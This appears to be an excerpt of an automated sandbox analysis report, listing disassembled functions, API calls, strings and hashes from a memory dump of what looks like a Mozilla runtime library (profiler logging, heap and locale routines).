Opcode Fuzzy Hash: 31615140a69075855072b725a9caeefa3ca0091c5be611c9ca1adb42af21a160
Instruction Fuzzy Hash: 4C41D8B1A001059FCB08CF78D8809BE7769AF94328B240228E825D7794EB31E925C7E1

Function 6C9CB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9CB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9CB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9CB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9CB5F4
__Init_thread_footer.LIBCMT ref: 6C9CB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9CB61F
std::_Facet_Register.LIBCPMT ref: 6C9CB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9CB655

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction ID: 5a51aad46e7618017a0a5dad08e710467d91c62202b3c6104c23169ecf2d6adf
Opcode Fuzzy Hash: bab9a921b2db941f649d19ba83cea1f2c426f22f3eb5a88241d26960ebdfa2d5
Instruction Fuzzy Hash: CE319171B04604CBCB00DFA9C8599AEB7F5FF9A325B250519D902A7780DB31F94ACB92

Function 6C969830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9B7ABE), ref: 6C96985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9B7ABE), ref: 6C9698A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C969909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C969918
free.MOZGLUE(?), ref: 6C969975

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction ID: 315f7fbe94da587da728d85a16304f4067f99594be10b55fb17a2c376845603a
Opcode Fuzzy Hash: 4137d03381a025ad36ab9a787ded1573bf3e4c4ad511091d4a4daa24cf822f72
Instruction Fuzzy Hash: C471AA746047068FD724CF29C480966BBF5FF4A3287254AADE85A8BF90D731F841CB91

Function 6C96B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE), ref: 6C96B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9ACC83,?,?,?,?,?,?,?,?,?,6C9ABCAE,?,?,6C99DC2C), ref: 6C96B896

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction ID: 246f456b76d7412a1ea2c0a98076613406390562ee2cffc32c3731d00e4ffd17
Opcode Fuzzy Hash: 041c6b22a8d40372991466ac8ae860c2a7069c3b8c3ee84659335f43ccf86f9c
Instruction Fuzzy Hash: 3E519C757046008FDB24CF5AC484A2AB7F5FF89318B69859DE98A97B81D731EC01DB80

Function 6C9A1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9A1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9A1BE3,?,?,6C9A1D96,00000000), ref: 6C9A1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9A1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9A1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9A1DDA

Part of subcall function 6C9A1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9A1F03
Part of subcall function 6C9A1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9A1DF2,00000000,00000000), ref: 6C9A1F0C
Part of subcall function 6C9A1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9A1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9A1DF4

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction ID: 069d8256c4beba576eed91c856fefd64cfa7b12fa5074811dcdac2462626f73d
Opcode Fuzzy Hash: 434161ff008567d77c09c505c1b100bb3110490fdb6e46222be36b3a6b6c0cd2
Instruction Fuzzy Hash: B54145B5204B01DFCB10DF69C488A56BBF9FB99714F20442EE95A87B41CB71F854CB91

Function 6C9638A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,?,6C963899,?), ref: 6C9638B2
ReleaseSRWLockExclusive.KERNEL32(6C9DE220,?,?,?,6C963899,?), ref: 6C9638C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C963899,?), ref: 6C9638F1
RtlFreeHeap.NTDLL ref: 6C963920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C963899,?), ref: 6C96392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C963899,?), ref: 6C963943
RtlFreeHeap.NTDLL ref: 6C96396E

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction ID: f9de067691d91b87a0a44fd442d7e2c6e8e41b5543c4b44dbf52ae36c0791fc8
Opcode Fuzzy Hash: 24adca4353828bea103a318e3c2a3e7c98cfdf66cd00006cec9ba144382acbcd
Instruction Fuzzy Hash: C721BF72600A10DFE7209F26C880B96BBA9FF55328F258469D95A97F90C730E985CB91

Function 6C9984E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9984F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985AC

Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C99767F
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C997693
Part of subcall function 6C997670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9985B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9976A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9985B2

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction ID: b7c9933464b9c951249474b6a6b36f53743d4bbb47717c3bf412c8ba39d925c4
Opcode Fuzzy Hash: cac8eff9d937dac9b919cd4761e3ea95aef2999215e0182770f09a00ee56c3fe
Instruction Fuzzy Hash: 48218E742006019FDB18DB28C888A6AB7B9AF9430DF28492DE55BD3B41DB31F958CB56

Function 6C961640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C961699
VerSetConditionMask.NTDLL ref: 6C9616CB
VerSetConditionMask.NTDLL ref: 6C9616D7
VerSetConditionMask.NTDLL ref: 6C9616DE
VerSetConditionMask.NTDLL ref: 6C9616E5
VerSetConditionMask.NTDLL ref: 6C9616EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9616F9

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction ID: bba0b897be92b6e228a67421185f6b1bd8524806e54ce4ec3bb1d896e3242523
Opcode Fuzzy Hash: 8f8a2cd46451d108828f2a413a0759199c5cf10e5333fb35fd7ac93a3b1621c1
Instruction Fuzzy Hash: 9821D5B07442086BFB106A65CC45FBBB37CDF96704F044528F645AB6C0C674EE54C6A1

Function 6C99F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction ID: dbfb89039c02f222b4e8578100ebe23204c7e3c60010c0d8b7a0a5392eb98bc5
Opcode Fuzzy Hash: 99e2e4a7255e96c9c32b5a1c0ac3f4d8398d7a213746abeb72b20cee0978f20d
Instruction Fuzzy Hash: 0211E371209A05AFCB40AF58C8489A5B77DFF9635DB280015FA09A3F01CB71F861CBA1

Function 6C961FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C961FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C961FFD
__Init_thread_footer.LIBCMT ref: 6C962011
FreeLibrary.KERNEL32 ref: 6C962059

Strings

CoCreateInstance, xrefs: 6C961FF7
combase.dll, xrefs: 6C961FD9

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction ID: a05e65fbecb88758537929cf5cc8fa50c83dc609a7091692d6ff7701b3159862
Opcode Fuzzy Hash: 3a34ae18cd0fd3d7efdd1a7d06b4178ed928b9b246e63cdec053077a44efb8a4
Instruction Fuzzy Hash: 29115175209A05EFEF10CF55C84EE667B79EB86359F208419F905A3A80C731F890DFA1

Function 6C960EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C98D9F0,00000000), ref: 6C960F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C960F3C
__Init_thread_footer.LIBCMT ref: 6C960F50
FreeLibrary.KERNEL32(?,6C98D9F0,00000000), ref: 6C960F86

Strings

CoInitializeEx, xrefs: 6C960F36
combase.dll, xrefs: 6C960F18

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction ID: db76d53b309ef7e029be97d9141d51536daebdb60b8c645d9d77956a38dafc03
Opcode Fuzzy Hash: d57daf84c3f9b33a4cdf9cde6b74a579e95b91fccb7cd8b778d0dff63dff6da6
Instruction Fuzzy Hash: EC110630719A419BEF00CF55C949A693778EB8B32AF208619E905B3B80DB30F480CA69

Function 6C99F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99F561

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F577
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F585
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99F5A3

Strings

[I %d/%d] profiler_pause_sampling, xrefs: 6C99F3A8
[I %d/%d] profiler_resume_sampling, xrefs: 6C99F499
[I %d/%d] profiler_resume, xrefs: 6C99F239
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C99F56A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction ID: aa67c257549bbc056e8f111de936c12045696a46ba325a43ddb5548bf236ee4b
Opcode Fuzzy Hash: e30c48d20f17c9ec6a6d5f07fc484cf4078869230fad77126673fd32d574df5b
Instruction Fuzzy Hash: 27F0B475204A049FDB006F699C4C96A77BDEB9629EF294015FA09A3701CF31E84087B1

Function 6C99F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C964A68), ref: 6C99945E
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C999470
Part of subcall function 6C999420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C999482
Part of subcall function 6C999420: __Init_thread_footer.LIBCMT ref: 6C99949F

GetCurrentThreadId.KERNEL32 ref: 6C99F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C99F598), ref: 6C99F621

Part of subcall function 6C9994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9994EE
Part of subcall function 6C9994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C999508

GetCurrentThreadId.KERNEL32 ref: 6C99F637
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F645
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000,?,6C99F598), ref: 6C99F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C99F62A

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction ID: 8c8f31107bf0dabd3aea7ad4356660dd60110da7ec23acc7c525b99d64a93a69
Opcode Fuzzy Hash: 9a23326c18c620d3b4f5665758a1c7df30de0d042a0c62ae7b176801473360a7
Instruction Fuzzy Hash: 07F0B475204A04AFDF006F688C4C95A777DEB9625EF254015FA09A3701CB75E84587B1

Function 6C960E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C960DF8), ref: 6C960E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C960EA1
__Init_thread_footer.LIBCMT ref: 6C960EB5
FreeLibrary.KERNEL32 ref: 6C960EC5

Strings

kernel32.dll, xrefs: 6C960E7D
GetProcessMitigationPolicy, xrefs: 6C960E9B

Memory Dump Source

Source File: 00000000.00000002.2734848476.000000006C951000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2734826525.000000006C950000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734903349.000000006C9CD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734930562.000000006C9DE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2734955243.000000006C9E2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0bf903564c60863462c14bb70443c6a6c79dd39a2da2b3aacfdda3046ff6dad3
Instruction ID: 65fc3a797f989c6b03bbc0683c11bc91570c852e558421845a6d685752eb891e
